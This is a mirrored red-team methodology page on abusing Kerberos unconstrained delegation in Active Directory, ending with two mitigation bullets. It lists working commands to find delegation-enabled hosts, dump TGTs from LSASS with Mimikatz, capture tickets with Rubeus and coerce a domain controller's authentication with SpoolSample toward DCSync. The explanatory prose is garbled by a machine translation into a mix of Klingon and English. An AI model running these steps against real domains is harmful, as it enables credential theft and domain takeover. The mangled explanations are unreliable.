Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 04:33:28 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/unconstrained-delegation.md
Translator workflow b442ae90c4 Translated to Klingon
2024-02-10 17:52:19 +00:00

5.3 KiB
Raw Permalink Blame History

Unconstrained Delegation

htARTE (HackTricks AWS Red Team Expert) !HackTricks AWS Red Team Expert!

Unconstrained Delegation

Unconstrained Delegation: Computer jup 'ej Domain Administrator vItlhutlh. vaj, user logins Computer, TGT copy user TGS sent DC 'ej memory LSASS saved. So, Administrator privileges machine, dump tickets impersonate users.

vaj Domain Admin logins Computer 'ej "Unconstrained Delegation" feature activated, 'ej local admin privileges machine, dump ticket impersonate Domain Admin (domain privesc).

Computer objects attribute find userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. LDAP filter 'ej ' (userAccountControl:1.2.840.113556.1.4.803:=524288) ' check:

# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way

# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs

Mimikatz Rubeus Load Administrator (victim user) ticket memory Pass the Ticket Pass the Ticket.
More info: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
More information about Unconstrained delegation in ired.team.

Force Authentication

Unconstrained Delegation compromise computer 'ej Print server automatically login saving TGT memory server.
vaj, Pass the Ticket attack impersonate user Print server computer account.

SpoolSample use:

.\SpoolSample.exe <printmachine> <unconstrinedmachine>

ghItlh TGT vItlhutlh domain controller, 'oH DCSync attack jatlh je 'ej DC vItlhutlh hashmey De'.
More info about this attack in ired.team.

Here are other ways to try to force an authentication:

{% content-ref url="printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Mitigation

  • Limit DA/Admin logins to specific services
  • Set "Account is sensitive and cannot be delegated" for privileged accounts.
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!